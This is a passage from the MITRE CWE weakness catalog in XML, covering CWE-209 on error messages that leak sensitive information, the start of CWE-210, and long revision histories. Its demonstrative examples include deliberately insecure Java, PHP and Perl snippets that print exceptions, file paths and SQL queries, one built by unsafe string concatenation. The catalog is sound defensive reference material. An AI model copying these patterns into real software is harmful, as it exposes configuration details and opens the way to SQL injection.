               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Timing Discrepancy Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Timing Discrepancy</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="209" Name="Generation of Error Message Containing Sensitive Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product generates an error message that includes sensitive information about its environment, users, or associated data.</Description>
         <Extended_Description><xhtml:p>The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:</xhtml:p>
           <xhtml:ul>
             <xhtml:li>self-generated: the source code explicitly constructs the error message and delivers it</xhtml:li>
	     <xhtml:li>externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer</xhtml:li>
	   </xhtml:ul>
	 <xhtml:p>An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="PHP" Prevalence="Often"/>
            <Language Name="Java" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>System Configuration</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Analysis</Method>
               <Description>Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</xhtml:p>
                  <xhtml:p>Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-12">
               <Method>Manual Dynamic Analysis</Method>
               <Description>Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.</Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Handle exceptions internally and do not display errors containing potentially sensitive information to a user.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-33">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
               <Effectiveness_Notes>This makes it easier to spot places in the code where data is being used that is unencrypted.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-40">
               <Phase>Implementation</Phase>
               <Phase>Build and Compilation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Debugging information should not make its way into a production release.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-40">
               <Phase>Implementation</Phase>
               <Phase>Build and Compilation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Debugging information should not make its way into a production release.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Create default error pages or messages that do not leak any information.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, sensitive information might be printed depending on the exception that occurs.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">/.../</xhtml:div>}<xhtml:br/>catch (Exception e) {<xhtml:div style="margin-left:1em;">System.out.println(e);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-118">
               <Intro_Text>This code tries to open a database connection, and prints any exceptions that occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">openDbConnection();</xhtml:div>}<xhtml:br/>
                     <xhtml:i>//print exception message that includes exception message and configuration file location</xhtml:i>
                     <xhtml:br/>catch (Exception $e) {<xhtml:div style="margin-left:1em;">echo 'Caught exception: ', $e-&gt;getMessage(), '\n';<xhtml:br/>echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code generates an error message that leaks the full pathname of the configuration file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$ConfigDir = "/home/myprog/config";<xhtml:br/>$uname = GetUserInput("username");<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># avoid CWE-22, CWE-78, others.</xhtml:i>
                     <xhtml:br/>ExitError("Bad hacker!") if ($uname !~ /^\w+$/);<xhtml:br/>$file = "$ConfigDir/$uname.txt";<xhtml:br/>if (! (-e $file)) {<xhtml:div style="margin-left:1em;">ExitError("Error: $file does not exist");</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-119">
               <Intro_Text>In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public BankAccount getUserBankAccount(String username, String accountNumber) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BankAccount userAccount = null;<xhtml:br/>String query = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">if (isAuthorizedUser(username)) {<xhtml:div style="margin-left:1em;">query = "SELECT * FROM accounts WHERE owner = "<xhtml:br/>+ username + " AND accountID = " + accountNumber;<xhtml:br/>DatabaseManager dbManager = new DatabaseManager();<xhtml:br/>Connection conn = dbManager.getConnection();<xhtml:br/>Statement stmt = conn.createStatement();<xhtml:br/>ResultSet queryResult = stmt.executeQuery(query);<xhtml:br/>userAccount = (BankAccount)queryResult.getObject(accountNumber);</xhtml:div>}</xhtml:div>} catch (SQLException ex) {<xhtml:div style="margin-left:1em;">String logMessage = "Unable to retrieve account information from database,\nquery: " + query;<xhtml:br/>Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);</xhtml:div>}<xhtml:br/>return userAccount;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-2049</Reference>
               <Description>POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2049</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5172</Reference>
               <Description>Program reveals password in error message if attacker can trigger certain database errors.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5172</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4638</Reference>
               <Description>Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4638</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1579</Reference>
               <Description>Existence of user names can be determined by requesting a nonexistent blog and reading the error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1579</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1409</Reference>
               <Description>Direct request to library file in web application triggers pathname leak in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1409</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3060</Reference>
               <Description>Malformed input to login page causes leak of full path when IMAP call fails.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3060</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0603</Reference>
               <Description>Malformed regexp syntax leads to information exposure in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-9615</Reference>
               <Description>verbose logging stores admin credentials in a world-readablelog file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-9615</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2018-1999036</Reference>
               <Description>SSH password for private key stored in build log</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-1999036</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Accidental leaking of sensitive information through error messages</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Information Leakage and Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR01-J</Entry_ID>
               <Entry_Name>Do not allow exceptions to expose sensitive information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="215"/>
            <Related_Attack_Pattern CAPEC_ID="463"/>
            <Related_Attack_Pattern CAPEC_ID="54"/>
            <Related_Attack_Pattern CAPEC_ID="7"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-174"/>
            <Reference External_Reference_ID="REF-175" Section="Section 9.2, Page 326"/>
            <Reference External_Reference_ID="REF-176" Section="Chapter 16, &#34;General Good Practices.&#34; Page 415"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 11: Failure to Handle Errors Correctly.&#34; Page 183"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 12: Information Leakage.&#34; Page 191"/>
            <Reference External_Reference_ID="REF-179"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Overly Verbose Error Messages&#34;, Page 75"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name, Potential_Mitigations, References, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2010-09-09</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Name, Observed_Examples, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
			      <Contribution_Name>Nick Johnston</Contribution_Name>
			      <Contribution_Date>2022-07-11</Contribution_Date>
			      <Contribution_Comment>Identified incorrect language tag in demonstrative example.</Contribution_Comment>
			   </Contribution>
            <Previous_Entry_Name Date="2009-01-12">Error Message Information Leaks</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-12-28">Error Message Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through an Error Message</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="210" Name="Self-generated Error Message Containing Sensitive Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="209" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-40">
               <Phase>Implementation</Phase>
               <Phase>Build and Compilation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Debugging information should not make its way into a production release.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-40">
               <Phase>Implementation</Phase>
               <Phase>Build and Compilation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Debugging information should not make its way into a production release.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$uname = GetUserInput("username");<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># avoid CWE-22, CWE-78, others.</xhtml:i>
                     <xhtml:br/>if ($uname !~ /^\w+$/)<xhtml:br/>{<xhtml:div style="margin-left:1em;">ExitError("Bad hacker!") ;</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>$filename = "/home/myprog/config/" . $uname . ".txt";<xhtml:br/>if (!(-e $filename))<xhtml:br/>{<xhtml:div style="margin-left:1em;">ExitError("Error: $filename does not exist");</xhtml:div>}</xhtml:div>
               </Example_Code>
